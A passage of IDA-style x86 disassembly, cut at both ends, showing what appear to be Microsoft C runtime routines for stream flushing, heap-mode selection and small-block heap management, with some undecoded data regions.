		pop	ecx
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------

loc_41E1B4:				; CODE XREF: sub_41E0D4+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBEA4
		nop
		call	near ptr 2700000h
		cmp	eax, esi
		jz	short loc_41E150

loc_41E1CD:				; CODE XREF: sub_41E0D4+6Bj
		dec	eax

loc_41E1CE:				; CODE XREF: sub_41E0D4+1Aj
					; sub_41E0D4+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E0D4	endp

; ---------------------------------------------------------------------------
		db 47h
		dd 0F92E132Bh, 0CCDB8E98h, 0FA91E844h, 0A1648CF9h, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 0BCE890E8h, 33024639h,	89D48AD2h
		dd 4DBE0415h, 81C88B00h, 0FFE1h, 0D8900h, 0C1004DBEh, 0CA0308E1h
		dd 0BDFC0D89h, 0E8C1004Dh, 0BDF8A310h, 0F633004Dh, 440E856h
		dd 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h, 0C4E8FC75h
		dd 90000058h, 463924E8h, 0D3ACA302h, 82E8004Dh,	0A3000057h
		dd 4DBE44h, 552BE8h, 546DE800h,	0F9E80000h, 89FFFFDEh
		dd 458DD075h, 0E89050A4h, 2461D88h, 53FEE8h, 9C458900h
		dd 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah, 569C75FFh
		dd 1D66E856h, 50900228h, 0FE2F80E8h, 0A04589FFh, 0DEE7E850h
		dd 458BFFFFh, 8B088BECh, 984D8909h, 3CE85150h, 59000052h
		dd 658BC359h, 9875FFE8h, 0FFDED9E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41E2C9	proc near		; CODE XREF: sub_41DA32+16p
					; ___:00423721p ...

arg_0		= dword	ptr  4

		cmp	dword_4DBE4C, 1
		jnz	short loc_41E2D7
		call	sub_423D98

loc_41E2D7:				; CODE XREF: sub_41E2C9+7j
		push	[esp+arg_0]
		call	sub_423DD1
		push	0FFh
		call	off_43AE50
		pop	ecx
		pop	ecx
		retn
sub_41E2C9	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DBE4C
		dd 0E8057501h, 5A9Ch, 42474FFh,	5ACCE8h, 0FF685900h, 0E8000000h
		dd 77A579A5h
		db 90h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41E312	proc near		; CODE XREF: sub_41BA3B+2Ap
					; sub_42423B+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DD160
		jnb	loc_41E3AC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD060h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E3AC
		push	edi
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E38B
		cmp	edi, 1
		jz	short loc_41E359
		cmp	edi, 2
		jnz	short loc_41E36F

loc_41E359:				; CODE XREF: sub_41E312+40j
		push	2
		call	sub_4240AA
		push	1
		mov	ebp, eax
		call	sub_4240AA
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E38B

loc_41E36F:				; CODE XREF: sub_41E312+45j
		push	edi
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 2670000h
		test	eax, eax
		jnz	short loc_41E38B
		call	near ptr 269096Bh
		nop
		mov	ebp, eax
		jmp	short loc_41E38D
; ---------------------------------------------------------------------------

loc_41E38B:				; CODE XREF: sub_41E312+3Bj
					; sub_41E312+5Bj ...
		xor	ebp, ebp

loc_41E38D:				; CODE XREF: sub_41E312+77j
		push	edi
		call	sub_424030
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E3A8
		push	ebp
		call	sub_420C7F
		pop	ecx
		jmp	short loc_41E3BD
; ---------------------------------------------------------------------------

loc_41E3A8:				; CODE XREF: sub_41E312+8Bj
		xor	eax, eax
		jmp	short loc_41E3C0
; ---------------------------------------------------------------------------

loc_41E3AC:				; CODE XREF: sub_41E312+Ej
					; sub_41E312+2Fj
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9

loc_41E3BD:				; CODE XREF: sub_41E312+94j
		or	eax, 0FFFFFFFFh

loc_41E3C0:				; CODE XREF: sub_41E312+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E312	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C5	proc near		; CODE XREF: sub_41BA3B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E3EE
		test	al, 8
		jz	short loc_41E3EE
		push	dword ptr [esi+8]
		call	sub_41BA91
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41E3EE:				; CODE XREF: sub_41E3C5+Aj
					; sub_41E3C5+Ej
		pop	esi
		retn
sub_41E3C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3F0	proc near		; CODE XREF: sub_41E490+2Dp
					; sub_41E490+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E402
		push	esi
		call	sub_41E490
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41E402:				; CODE XREF: sub_41E3F0+7j
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jz	short loc_41E412
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41E412:				; CODE XREF: sub_41E3F0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E427
		push	dword ptr [esi+10h]
		call	sub_4240E7
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41E427:				; CODE XREF: sub_41E3F0+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E3F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E42B	proc near		; CODE XREF: sub_41BA3B+1Ap
					; ___:0041DAC2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E478
		test	ax, 108h
		jz	short loc_41E478
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E478
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E471
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E478
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E478
; ---------------------------------------------------------------------------

loc_41E471:				; CODE XREF: sub_41E42B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_41E478:				; CODE XREF: sub_41E42B+14j
					; sub_41E42B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E42B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E487	proc near		; CODE XREF: sub_4241E3p
		push	1
		call	sub_41E490
		pop	ecx
		retn
sub_41E487	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E490	proc near		; CODE XREF: sub_41E3F0+Ap
					; sub_41E487+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DD040, esi
		jle	short loc_41E4EE

loc_41E4A1:				; CODE XREF: sub_41E490+5Cj
		mov	eax, dword_4DC02C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E4E5
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E4E5
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E4CB
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E4E5
		inc	ebx
		jmp	short loc_41E4E5
; ---------------------------------------------------------------------------

loc_41E4CB:				; CODE XREF: sub_41E490+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E4E5
		test	cl, 2
		jz	short loc_41E4E5
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E4E5
		or	edi, eax

loc_41E4E5:				; CODE XREF: sub_41E490+1Bj
					; sub_41E490+23j ...
		inc	esi
		cmp	esi, dword_4DD040
		jl	short loc_41E4A1

loc_41E4EE:				; CODE XREF: sub_41E490+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E4F9
		mov	eax, edi

loc_41E4F9:				; CODE XREF: sub_41E490+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E490	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4FD	proc near		; CODE XREF: ___:0041E660p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 26A0000h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41E528
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41E528
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al

loc_41E528:				; CODE XREF: sub_41E4FD+15j
					; sub_41E4FD+1Cj
		pop	esi
		retn
sub_41E4FD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41C500
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		call	near ptr 26E0528h
		nop
		test	eax, eax
		jz	short loc_41E56D
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41E56D
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41E56D
		push	1
		pop	eax
		jmp	loc_41E66F
; ---------------------------------------------------------------------------

loc_41E56D:				; CODE XREF: ___:0041E551j
					; ___:0041E55Aj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 2890000h
		test	eax, eax
		jz	loc_41E65C
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41E5AF

loc_41E59C:				; CODE XREF: ___:0041E5ADj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E5AA
		cmp	al, 7Ah
		jg	short loc_41E5AA
		sub	al, 20h
		mov	[ecx], al

loc_41E5AA:				; CODE XREF: ___:0041E5A0j
					; ___:0041E5A4j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E59C

loc_41E5AF:				; CODE XREF: ___:0041E59Aj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41C850
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E5D1
		lea	eax, [ebp-122Ch]
		jmp	short loc_41E61A
; ---------------------------------------------------------------------------

loc_41E5D1:				; CODE XREF: ___:0041E5C7j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2680000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41E605

loc_41E5F2:				; CODE XREF: ___:0041E603j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E600
		cmp	al, 7Ah
		jg	short loc_41E600
		sub	al, 20h
		mov	[ecx], al

loc_41E600:				; CODE XREF: ___:0041E5F6j
					; ___:0041E5FAj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E5F2

loc_41E605:				; CODE XREF: ___:0041E5F0j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx

loc_41E61A:				; CODE XREF: ___:0041E5CFj
		cmp	eax, ebx
		jz	short loc_41E65C
		push	2Ch
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41E65C
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41E641

loc_41E633:				; CODE XREF: ___:0041E63Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41E63C
		mov	[ecx], bl
		jmp	short loc_41E63D
; ---------------------------------------------------------------------------

loc_41E63C:				; CODE XREF: ___:0041E636j
		inc	ecx

loc_41E63D:				; CODE XREF: ___:0041E63Aj
		cmp	[ecx], bl
		jnz	short loc_41E633

loc_41E641:				; CODE XREF: ___:0041E631j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41C586
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41E66F
		cmp	eax, 3
		jz	short loc_41E66F
		cmp	eax, 1
		jz	short loc_41E66F

loc_41E65C:				; CODE XREF: ___:0041E586j
					; ___:0041E61Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41E4FD
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3

loc_41E66F:				; CODE XREF: ___:0041E568j
					; ___:0041E650j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 481977E8h
		dd 0A3C08502h, 4DD3A4h,	93E83674h, 83FFFFFEh, 0A8A303F8h
		dd 75004DD3h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0D3A435FFh, 0E890004Dh
		dd 2472744h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DD3A4h
		dd 3B191FE8h, 0C0859002h, 4DD39CA3h, 0C3017500h, 4244C8Bh
		dd 0D3942583h, 8300004Dh, 4DD39825h, 16A0000h, 4DD390A3h
		dd 0A00D8900h, 0C7004DD3h, 4DD38805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E717	proc near		; CODE XREF: sub_41BA91+17p
					; sub_41BBE2+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DD398
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DD39C
		lea	ecx, [eax+ecx*4]

loc_41E727:				; CODE XREF: sub_41E717+26j
		cmp	eax, ecx
		jnb	short loc_41E73F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E741
		add	eax, 14h
		jmp	short loc_41E727
; ---------------------------------------------------------------------------

loc_41E73F:				; CODE XREF: sub_41E717+12j
		xor	eax, eax

locret_41E741:				; CODE XREF: sub_41E717+21j
		retn
sub_41E717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E742	proc near		; CODE XREF: sub_41BA91+23p
					; sub_41BBE2+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41EA66
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41E818
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E7A6
		push	3Fh
		pop	edx

loc_41E7A6:				; CODE XREF: sub_41E742+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E7FA
		cmp	edx, 20h
		jnb	short loc_41E7D1
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E7F2
; ---------------------------------------------------------------------------

loc_41E7D1:				; CODE XREF: sub_41E742+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E7F2:				; CODE XREF: sub_41E742+86j
					; sub_41E742+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41E7FD
; ---------------------------------------------------------------------------

loc_41E7FA:				; CODE XREF: sub_41E742+6Aj
		mov	ecx, [ebp+var_4]

loc_41E7FD:				; CODE XREF: sub_41E742+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx

loc_41E818:				; CODE XREF: sub_41E742+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E826
		push	3Fh
		pop	edx

loc_41E826:				; CODE XREF: sub_41E742+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E8C9
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41E84B
		mov	ebx, esi

loc_41E84B:				; CODE XREF: sub_41E742+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41E85D
		mov	edx, esi

loc_41E85D:				; CODE XREF: sub_41E742+117j
		cmp	ebx, edx
		jz	short loc_41E8C4
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E8AC
		cmp	ebx, 20h
		jnb	short loc_41E88D
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E8AC
; ---------------------------------------------------------------------------

loc_41E88D:				; CODE XREF: sub_41E742+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41E8AC:				; CODE XREF: sub_41E742+128j
					; sub_41E742+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41E8C4:				; CODE XREF: sub_41E742+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E8CC
; ---------------------------------------------------------------------------

loc_41E8C9:				; CODE XREF: sub_41E742+EDj
		mov	ebx, [ebp+arg_0]

loc_41E8CC:				; CODE XREF: sub_41E742+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E8DA
		cmp	ebx, edx
		jz	loc_41E95B

loc_41E8DA:				; CODE XREF: sub_41E742+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E95B
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E932
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E921
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E921:				; CODE XREF: sub_41E742+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E95B
; ---------------------------------------------------------------------------

loc_41E932:				; CODE XREF: sub_41E742+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E948
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E948:				; CODE XREF: sub_41E742+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41E95B:				; CODE XREF: sub_41E742+192j
					; sub_41E742+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41EA66
		mov	eax, dword_4DD394
		test	eax, eax
		jz	loc_41EA58
		mov	ecx, dword_4DD38C
		mov	esi, dword_427068
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DD38C
		mov	eax, dword_4DD394
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DD394
		mov	ecx, dword_4DD38C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DD394
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DD394
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E9E9
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DD394

loc_41E9E9:				; CODE XREF: sub_41E742+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41EA58
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DD394
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DD3A4
		call	near ptr 27C0000h
		nop
		mov	eax, dword_4DD398
		mov	edx, dword_4DD39C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DD394
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D670
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DD398
		cmp	eax, dword_4DD394
		jbe	short loc_41EA4E
		sub	[ebp+arg_0], 14h

loc_41EA4E:				; CODE XREF: sub_41E742+306j
		mov	eax, dword_4DD39C
		mov	dword_4DD390, eax

loc_41EA58:				; CODE XREF: sub_41E742+234j
					; sub_41E742+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DD38C, edi
		mov	dword_4DD394, eax

loc_41EA66:				; CODE XREF: sub_41E742+38j
					; sub_41E742+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E742	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6B	proc near		; CODE XREF: sub_41BBE2+77p
					; sub_41BEF3+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DD398
		mov	edx, dword_4DD39C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41EAAB
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41EABB
; ---------------------------------------------------------------------------

loc_41EAAB:				; CODE XREF: sub_41EA6B+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_41EABB:				; CODE XREF: sub_41EA6B+3Ej
		mov	eax, dword_4DD390
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EAE2

loc_41EAC9:				; CODE XREF: sub_41EA6B+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EAE2
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41EAC9

loc_41EAE2:				; CODE XREF: sub_41EA6B+5Cj
					; sub_41EA6B+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41EB60
		mov	ebx, edx

loc_41EAE9:				; CODE XREF: sub_41EA6B+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB05
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EB03
		add	ebx, 14h
		jmp	short loc_41EAE9
; ---------------------------------------------------------------------------

loc_41EB03:				; CODE XREF: sub_41EA6B+91j
		cmp	ebx, eax

loc_41EB05:				; CODE XREF: sub_41EA6B+83j
		jnz	short loc_41EB60

loc_41EB07:				; CODE XREF: sub_41EA6B+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41EB1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB1A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41EB07
; ---------------------------------------------------------------------------

loc_41EB1A:				; CODE XREF: sub_41EA6B+A5j
		cmp	ebx, [ebp+var_4]

loc_41EB1D:				; CODE XREF: sub_41EA6B+9Fj
		jnz	short loc_41EB45
		mov	ebx, edx

loc_41EB21:				; CODE XREF: sub_41EA6B+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB35
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB33
		add	ebx, 14h
		jmp	short loc_41EB21
; ---------------------------------------------------------------------------

loc_41EB33:				; CODE XREF: sub_41EA6B+C1j
		cmp	ebx, eax

loc_41EB35:				; CODE XREF: sub_41EA6B+BBj
		jnz	short loc_41EB45
		call	sub_41ED74
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41EB59

loc_41EB45:				; CODE XREF: sub_41EA6B:loc_41EB1Dj
					; sub_41EA6B:loc_41EB35j
		push	ebx
		call	sub_41EE25
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EB60

loc_41EB59:				; CODE XREF: sub_41EA6B+D8j
		xor	eax, eax
		jmp	loc_41ED6F
; ---------------------------------------------------------------------------

loc_41EB60:				; CODE XREF: sub_41EA6B+7Aj
					; sub_41EA6B:loc_41EB05j ...
		mov	dword_4DD390, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41EB87
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EBBE

loc_41EB87:				; CODE XREF: sub_41EA6B+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41EBBB

loc_41EBA4:				; CODE XREF: sub_41EA6B+14Ej
